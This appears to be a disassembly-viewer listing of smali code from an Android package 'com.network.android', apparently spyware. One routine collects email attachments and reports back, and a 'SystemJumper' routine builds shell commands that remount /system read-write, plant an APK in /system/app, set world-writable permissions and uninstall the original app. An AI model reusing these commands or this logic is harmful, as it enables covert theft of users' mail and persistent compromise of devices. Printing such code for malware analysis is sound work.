      751invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      752move-object/from16 v0, p0
      754iget-object v1, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      755if-eqz v1, :cond_430
      756const/4 v1, 0x0
      757const/16 v2, 0x79
      759const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      760move-object/from16 v0, p0
      762iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      764invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      765move-result-object v4
      767invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      768const/4 v1, 0x0
      769const/16 v2, -0x3cae
      771const-string v3, ""
      772move-object/from16 v0, p0
      774iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      776invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      777move-result-object v4
      779invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      780try_end_430: move-object v4, v12
      781goto/16 :goto_2fb
      782catchall_433: move-exception v1
      783try_start_434: throw v1
      784catch_435: move-exception v1
      785move-object v2, v11
      786move-object v3, v12
      787try_start_438: new-instance v4, Ljava/lang/StringBuilder;
      789const-string v6, "GetContentMail getAttachmentFileCommand- "
      791invoke-direct {v4, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      793invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      794move-result-object v6
      796invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      797move-result-object v4
      799invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      800move-result-object v4
      802invoke-static {v4, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      803try_end_44e: move-object v11, v2
      804move-object v4, v3
      805goto/16 :goto_2fb
      806cond_452:
      807const-string v1, "GetContentMail getAttachmentFileCommand- file does not exist "
      809invoke-static {v1}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      810move-object/from16 v0, p0
      812iget-object v1, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      813if-eqz v1, :cond_47d
      814const/4 v1, 0x0
      815const/16 v2, 0x79
      817const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      818move-object/from16 v0, p0
      820iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      822invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      823move-result-object v4
      825invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      826const/4 v1, 0x0
      827const/16 v2, -0x3cae
      829const-string v3, ""
      830move-object/from16 v0, p0
      832iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      834invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      835move-result-object v4
      837invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      838cond_47d: move-object/from16 v0, p0
      840iget-object v1, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      842const-string v2, "httpPing"
      844invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      845try_end_486: move-object v4, v12
      846goto/16 :goto_2fb
      847cond_489:
      848const-string v1, "getAttachmentFileCommand- no URI "
      850invoke-static {v1}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      851move-object/from16 v0, p0
      853iget-object v1, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      854if-eqz v1, :cond_4b4
      855const/4 v1, 0x1
      856const/16 v2, 0x79
      858const-string v6, "GET_ATTACHMENT_NOT_AVAILABLE"
      859move-object/from16 v0, p0
      861iget-object v7, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      863invoke-static {v7}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      864move-result-object v7
      866invoke-static {v1, v2, v6, v7}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      867const/4 v1, 0x1
      868const/16 v2, -0x3cae
      870const-string v6, ""
      871move-object/from16 v0, p0
      873iget-object v7, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      875invoke-static {v7}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      876move-result-object v7
      878invoke-static {v1, v2, v6, v7}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      879cond_4b4: move-object/from16 v0, p0
      881iget-object v1, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      883const-string v2, "httpPing"
      885invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      886try_end_4bd: move-object v11, v3
      887goto/16 :goto_2fb
      888cond_4c0: const/4 v1, 0x1
      889const/16 v2, 0x79
      890try_start_4c3:
      891const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      893invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      894move-object/from16 v0, p0
      896iget-object v1, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      897if-eqz v1, :cond_4f7
      898const/4 v1, 0x1
      899const/16 v2, 0x79
      901const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      902move-object/from16 v0, p0
      904iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      906invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      907move-result-object v4
      909invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      910const/4 v1, 0x1
      911const/16 v2, -0x3cae
      913const-string v3, ""
      914move-object/from16 v0, p0
      916iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      918invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      919move-result-object v4
      921invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      922move-object/from16 v0, p0
      924iget-object v1, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      926const-string v2, "httpPing"
      928invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      929try_end_4f7: if-eqz v13, :cond_3a8
      930try_start_4f9:
      931invoke-interface {v13}, Landroid/database/Cursor;->close()V
      932try_end_4fc: goto/16 :goto_3a8
      933catch_4fe: move-exception v1
      934try_start_4ff: new-instance v2, Ljava/lang/StringBuilder;
      936const-string v3, "GetContentMail getAttachmentFileCommand finaly- "
      938invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      940invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      941move-result-object v3
      943invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      944move-result-object v2
      946invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      947move-result-object v2
      949invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      950try_end_515: goto/16 :goto_3a8
      951catch_517: move-exception v1
      952move-object v2, v14
      953move-object v3, v15
      954goto_51a: new-instance v4, Ljava/lang/StringBuilder;
      956const-string v5, "get mail Throwable- "
      958invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      960invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      961move-result-object v5
      963invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      964move-result-object v4
      966invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      967move-result-object v4
      969invoke-static {v4, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      970move-object/from16 v0, p0
      972iget-object v1, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      973if-eqz v1, :cond_556
      974const/4 v1, 0x1
      975const/16 v4, 0x78
      977const-string v5, "GET_ATTACHMENT_FAIL"
      978move-object/from16 v0, p0
      980iget-object v6, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      982invoke-static {v6}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      983move-result-object v6
      985invoke-static {v1, v4, v5, v6}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      986const/4 v1, 0x1
      987const/16 v4, -0x3cae
      989const-string v5, ""
      990move-object/from16 v0, p0
      992iget-object v6, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      994invoke-static {v6}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      995move-result-object v6
      997invoke-static {v1, v4, v5, v6}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      998try_end_556: if-eqz v2, :cond_55b
      999try_start_558:
      1000invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      1001cond_55b: if-eqz v3, :cond_560
      1003invoke-interface {v3}, Landroid/database/Cursor;->close()V
      1004cond_560:
      1005invoke-interface/range {v17 .. v17}, Ljava/util/concurrent/locks/Lock;->unlock()V
      1006try_end_563: goto/16 :goto_b
      1007catch_565: move-exception v1
      1008try_start_566: new-instance v2, Ljava/lang/StringBuilder;
      1010const-string v3, "get Mail finally- "
      1012invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1014invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1015move-result-object v3
      1017invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1018move-result-object v2
      1020invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1021move-result-object v2
      1023invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1024try_end_57c: goto/16 :goto_b
      1025cond_57e: const/4 v1, 0x1
      1026const/16 v2, 0x79
      1027try_start_581:
      1028const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      1030invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      1031move-object/from16 v0, p0
      1033iget-object v1, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      1034if-eqz v1, :cond_4f7
      1035const/4 v1, 0x1
      1036const/16 v2, 0x79
      1038const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      1039move-object/from16 v0, p0
      1041iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      1043invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1044move-result-object v4
      1046invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1047const/4 v1, 0x1
      1048const/16 v2, -0x3cae
      1050const-string v3, ""
      1051move-object/from16 v0, p0
      1053iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      1055invoke-static {v4}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      1056move-result-object v4
      1058invoke-static {v1, v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      1059move-object/from16 v0, p0
      1061iget-object v1, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      1063const-string v2, "httpPing"
      1065invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      1066try_end_5b5: goto/16 :goto_4f7
      1067catchall_5b7: move-exception v1
      1068goto_5b8: if-eqz v13, :cond_5bd
      1069try_start_5ba:
      1070invoke-interface {v13}, Landroid/database/Cursor;->close()V
      1071goto_5bd: throw v1
      1072catchall_5be: move-exception v1
      1073goto_5bf: if-eqz v14, :cond_5c4
      1074try_start_5c1:
      1075invoke-virtual {v14}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      1076cond_5c4: if-eqz v15, :cond_5c9
      1078invoke-interface {v15}, Landroid/database/Cursor;->close()V
      1079cond_5c9:
      1080invoke-interface/range {v17 .. v17}, Ljava/util/concurrent/locks/Lock;->unlock()V
      1081goto_5cc: throw v1
      1082catch_5cd: move-exception v2
      1083new-instance v3, Ljava/lang/StringBuilder;
      1085const-string v4, "get Mail finally- "
      1087invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1089invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      1090move-result-object v4
      1092invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1093move-result-object v3
      1095invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1096move-result-object v3
      1098invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1099try_end_5e4: goto/16 :goto_5cc
      1100catch_5e5: move-exception v2
      1101try_start_5e6: new-instance v3, Ljava/lang/StringBuilder;
      1103const-string v4, "GetContentMail getAttachmentFileCommand finaly- "
      1105invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1107invoke-virtual {v2}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      1108move-result-object v4
      1110invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1111move-result-object v3
      1113invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1114move-result-object v3
      1116invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1117goto/16 :goto_5bd
      1118catch_5fd: move-exception v1
      1119new-instance v2, Ljava/lang/StringBuilder;
      1121const-string v3, "GetContentMail getAttachmentFileCommand finaly- "
      1123invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1125invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      1126move-result-object v3
      1128invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1129move-result-object v2
      1131invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1132move-result-object v2
      1134invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1135goto/16 :goto_3a8
      1136catch_616: move-exception v1
      1137new-instance v2, Ljava/lang/StringBuilder;
      1139const-string v3, "GetContentMail getAttachmentFileCommand finaly- "
      1141invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      1143invoke-virtual {v1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      1144move-result-object v3
      1146invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      1147move-result-object v2
      1149invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      1150move-result-object v2
      1152invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      1153try_end_62d: goto/16 :goto_249
      1154catchall_62f: move-exception v1
      1155move-object v14, v2
      1156move-object v15, v3
      1157goto/16 :goto_5bf
      1158catchall_633: move-exception v1
      1159move-object v15, v3
      1160goto/16 :goto_5bf
      1161catchall_636: move-exception v1
      1162move-object v14, v2
      1163move-object v15, v3
      1164goto/16 :goto_5bf
      1165catch_63a: move-exception v1
      1166goto/16 :goto_51a
      1167catch_63d: move-exception v1
      1168move-object v2, v14
      1169goto/16 :goto_51a
      1170catchall_641: move-exception v1
      1171move-object v13, v2
      1172goto/16 :goto_5b8
      1173catchall_645: move-exception v1
      1174move-object v13, v2
      1175goto/16 :goto_5b8
      1176catch_649: move-exception v1
      1177goto/16 :goto_356
      1178catch_64c: move-exception v1
      1179move-object v4, v3
      1180goto/16 :goto_305
      1181catch_650: move-exception v1
      1182move-object v2, v3
      1183move-object v3, v4
      1184goto/16 :goto_438
      1185catch_655: move-exception v1
      1186move-object v3, v4
      1187goto/16 :goto_438
      1188catch_659: move-exception v1
      1189move-object v2, v11
      1190move-object v3, v4
      1191goto/16 :goto_438
      1192cond_65e: move-object v11, v3
      1193goto/16 :goto_212
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • android.content.Context.getApplicationInfo
      • android.content.pm.ApplicationInfo.dataDir:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.os.Process.myPid
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • SystemJumper - buildJumpToSystemCommand start
      • /data/local/tmp/
      • /
      • NetworkPreferences.xml
      • shared_prefs
      • bhprs
      • adrubh.dat
      • cat
      • >
      • ;
      • export LD_LIBRARY_PATH=/vendor/lib:/system/lib;
      • com.media.sync.apk;
      • am force-stop com.network.android;
      • pm disable com.network.android;
      • pm uninstall com.network.android;
      • sleep 10;
      • kill
      • rm
      • rmdir -R
      • chmod 666
      • umask 133;
      • mount -o remount,rw /dev/null /system;
      • > /data/myappinfo;
      • chmod 0777 /data/myappinfo;
      • com.media.sync.apk > /system/app/com.media.sync.apk;
      • sleep 5;
      • mkdir
      • chmod 0777
      • export LD_LIBRARY_PATH=/vendor/lib:/system/lib; am start -n com.network.android/com.network.android.NetworkMain;
      • mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system;
      • SystemJumper - buildJumpToSystemCommand exception
      Position Instruction Meta Information
      1const-string v1, ""
      2try_start_2:
      3const-string v0, "SystemJumper - buildJumpToSystemCommand start"
      5invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      7const-string v0, "/data/local/tmp/"
      8new-instance v2, Ljava/lang/StringBuilder;
      10invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      12invoke-virtual {p0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
      13move-result-object v3
      15iget-object v3, v3, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;
      17invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      18move-result-object v2
      20const-string v3, "/"
      22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      23move-result-object v2
      25invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      26move-result-object v2
      28const-string v3, "NetworkPreferences.xml"
      29new-instance v4, Ljava/lang/StringBuilder;
      31invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      33invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      34move-result-object v4
      36const-string v5, "shared_prefs"
      38invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      39move-result-object v4
      41invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      42move-result-object v4
      43new-instance v5, Ljava/lang/StringBuilder;
      45invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      47invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      48move-result-object v5
      50const-string v6, "bhprs"
      52invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      53move-result-object v5
      55invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      56move-result-object v5
      57new-instance v6, Ljava/lang/StringBuilder;
      59invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      61invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      62move-result-object v6
      64const-string v7, "adrubh.dat"
      66invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      67move-result-object v6
      69invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      70move-result-object v6
      71new-instance v7, Ljava/lang/StringBuilder;
      73invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
      75invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      76move-result-object v7
      78const-string v8, "/"
      80invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      81move-result-object v7
      83invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      84move-result-object v7
      86invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      87move-result-object v7
      89invoke-static {p0}, Lcom/network/h/b;->c(Landroid/content/Context;)Ljava/lang/String;
      90move-result-object v8
      91new-instance v9, Ljava/lang/StringBuilder;
      93invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      95invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      96move-result-object v9
      98const-string v10, " cat "
      100invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      101move-result-object v9
      103invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      104move-result-object v6
      106const-string v9, " > "
      108invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      109move-result-object v6
      111invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      112move-result-object v6
      114const-string v9, ";"
      116invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      117move-result-object v6
      119invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      120move-result-object v1
      121new-instance v6, Ljava/lang/StringBuilder;
      123invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      125invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      126move-result-object v6
      128const-string v9, "export LD_LIBRARY_PATH=/vendor/lib:/system/lib;"
      130invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      131move-result-object v6
      133invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      134move-result-object v1
      135new-instance v6, Ljava/lang/StringBuilder;
      137invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      139invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      140move-result-object v6
      142const-string v9, " cat "
      144invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      145move-result-object v6
      147invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      148move-result-object v6
      150const-string v9, " > "
